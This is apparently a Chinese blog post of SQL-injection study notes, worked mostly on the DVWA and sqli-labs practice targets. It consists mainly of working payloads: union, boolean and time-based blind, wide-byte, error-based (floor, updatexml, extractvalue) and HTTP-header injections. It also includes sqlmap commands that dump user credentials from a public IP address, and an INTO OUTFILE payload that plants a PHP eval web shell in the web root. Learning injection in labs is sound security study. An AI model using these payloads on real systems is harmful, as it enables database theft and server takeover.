SQL注入基础知识

SQL注入

普通注入

字符注入

靶场环境:

  • DVWA SQL注入低

1、输入正常值,返回正常

image-20210118151803603

2、输入1',报错

image-20210118194200475

猜测SQL语句:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

3、猜测字段数量

为2时正常,为2时错误

image-20210118195014723

4、union 联合查询猜测字段位置

image-20210118195139177

5、查询数据库基本信息,库名字,系统用户、数据库版本

image-20210118195231349

6、查询所有库名

image-20210118195437060

7、查询dvwa的所有表

image-20210118195615142

8、查询user表所有的用户姓名和密码字段

image-20210118195757353

9、查询用户名和密码数据

image-20210118200000465

数字注入

1、正常输入

image-20210118200613931

加上‘号报错

image-20210118200655656

测试 and 1=1 | and 1=2结果,确定数字型注入

image-20210118200935946

image-20210118200946494

2、sql语句

SELECT first_name, last_name FROM users WHERE user_id = $id

3、剩下的如上

盲注

布尔型

true或着flase

有报错

1、正常输入

image-20210118202425079

错误输入

image-20210118202603733

2、猜测SQL语句

SELECT * FROM users WHERE id='$id' LIMIT 0,1

手工比较麻烦,使用bp代替

数据库数量

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=115 --+

查询当前数据库长度

http://127.0.0.1/sqlilab/Less-5/?id=1' and length(database())='9'--+

image-20210118203903272image-20210118203916898image-20210118203936901

4、查询数据库名字

sql语句

http://127.0.0.1/sqlilab/Less-5/?id=1' and substr(database(),1,1)<'t'--+

image-20210118205923256

image-20210118205938402

image-20210118205949943

image-20210118210016572

依次爆破得到库名

5、获取表名

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+

image-20210118210347724

image-20210118210434513

表为emails

6、猜测字段数量和字段名字

http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=1 --+

image-20210118210739768

一共有三个字段,接着猜测三个字段的长度

sql语句

# 第一个字段长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=1--+ 
# 第二个字段长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=1--+ 

image-20210118211403168

image-20210118211139221

第一个为2,第二个为8,爆破数据

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+

image-20210118211811340

image-20210118212021445

第一个id,第二个username

爆破第一个字段数据长度

sql语句

http://127.0.0.1/sqli/Less-5/?id=1' and length((select username from users limit 0,1))=4  --+

image-20210118212456167

第一个数据长度为4

获取第一个字段数据sql

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

image-20210118212809920

至此手工盲注基础(报错完结)

无报错

来到sqlilabs第八关

1、正常输入 ?id=1

image-20210120134450458

2、加上单引号,输入错误,但是没有报错

image-20210120134534843

加上注释符 --+,回显正常,确定存在盲注

image-20210120134618590

3、判断注入位置

image-20210120134810163

image-20210120134824825

order by 3时正确,为4时错误,说明有三个字段数

SELECT * FROM users WHERE id='$id' LIMIT 0,1

4、进行注入

  • 判断当前数据库的长度
?id=1' and length(database())='9'--+

image-20210120135447455

数据库长度是8位

  • 判断数据库名字

image-20210120141431176

image-20210120141448948

数据库名字第一个是s,依次类推。

  • 判断当前表明
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+

image-20210120141826866

image-20210120141840070

和上面一样使用bp爆破,得到表明是emails

  • 判断字段数量
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=1 --+

image-20210120142056600

image-20210120142108239

一共有三个字段

  • 查询字段长度
# 第一个字段长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=1--+ 
# 第二个字段长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=1--+ 

第一个字段长度是2,第二个是8

image-20210120142557412

image-20210120142617449

  • 查询字段名字
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i'  --+

image-20210120142824996

image-20210120142900689

字段数据是id username

  • 爆破数据长度
http://127.0.0.1/sqli/Less-8/?id=1' and length((select username from users limit 0,1))=4  --+
  • 爆破数据
http://127.0.0.1/sqli/Less-8/?id=1' and substr((select username from users limit 0,1),1,1)='d'  --+

结束

时间型

http://127.0.0.1/sqli/Less-9/?id=1'
http://127.0.0.1/sqli/Less-9/?id=1"
http://127.0.0.1/sqli/Less-9/?id=1
无论怎么写,页面都没有回显,只能靠测试

1、 判断注入点

http://127.0.0.1/sqli/Less-9/?id=1' and sleep(3)--+

image-20210120202703545

延迟3秒确定存在注入点

2、判断当前数据库名字

?id=1' and if(length(database())=8,sleep(3),1)--+
if(x,x,x)   #第一个x是条件,第二个是第一个条件成立执行,不成立执行第三个x

判断数据库长度是8

后续的不再赘述,和布尔盲注差不都,不过是用if()来进行判断

使用sqlmap实现时间盲注

--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
--technique:选择注入技术,-T:Time-based blind  (基于时间延迟注入)
--threads 10 :设置线程为10,运行速度会更快。
#查询数据库 #【security】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 #获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10

宽字节注入

image-20210120203540631

在线GBK编码表:http://www.jsons.cn/gbkcodehttp://www.jsons.cn/gbkcode

手工注入

在线网址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

1、正常输入

image-20210120203811583

输入1’

image-20210120203833076

用上文宽字节构造方法,构造id=1%df’或者id=1%aa’,成功报错

image-20210120203946865

接着就是正常的手工字符型报错入住

image-20210120204220676

image-20210120204234342

2个字段

判断回显位置

image-20210120204305696

查数据库

image-20210120204844924

查表

image-20210120204921734

image-20210120204947873

ctf4的表

image-20210120205241893

字段数据

image-20210120205545948

结束

读写文件

读取文件

image-20210120205826633

image-20210120205946310

image-20210120210143094

image-20210120212236522

貌似失败了,不知道为啥

写入文件

第七关

image-20210120210251789

image-20210120210728458

image-20210120210747901

写入文件

http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile"D:\phpstudy\WWW\sqli\Less-7\b.php" --+

image-20210120211743856

image-20210120211830354

image-20210120211947428

结束

报错注入

floor报错注入

参考文章:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html

image-20210121100547349

#获取数据库名
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+ 
或者
?id=1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+
#获取表名
?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+
或者
?id=1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+

updatexml

image-20210121102241696

报错语句:

updatexml(1,concat(0x7e,(select database()),0x7e),1);

正好和useragent注入一起使用

image-20210121163306230

extractvalue报错注入

extractvalue(1,concat(0x7e,(select database()),0x7e));

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

http_header注入

ua注入

User-Agent: qing' and updatexml(1,concat(0x7e,(注入语句),0x7e),1) or'
爆数据库版本信息
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)  
链接用户
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)  
链接数据库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 
爆库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)  
爆表
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1
爆字段
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)  
爆字段内容
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1) 

cookie注入

Cookie: uname=admin'(注入语句)#

refer注入

Referer:1 union select database(),2
原文地址:https://www.cnblogs.com/liyu8/p/14305193.html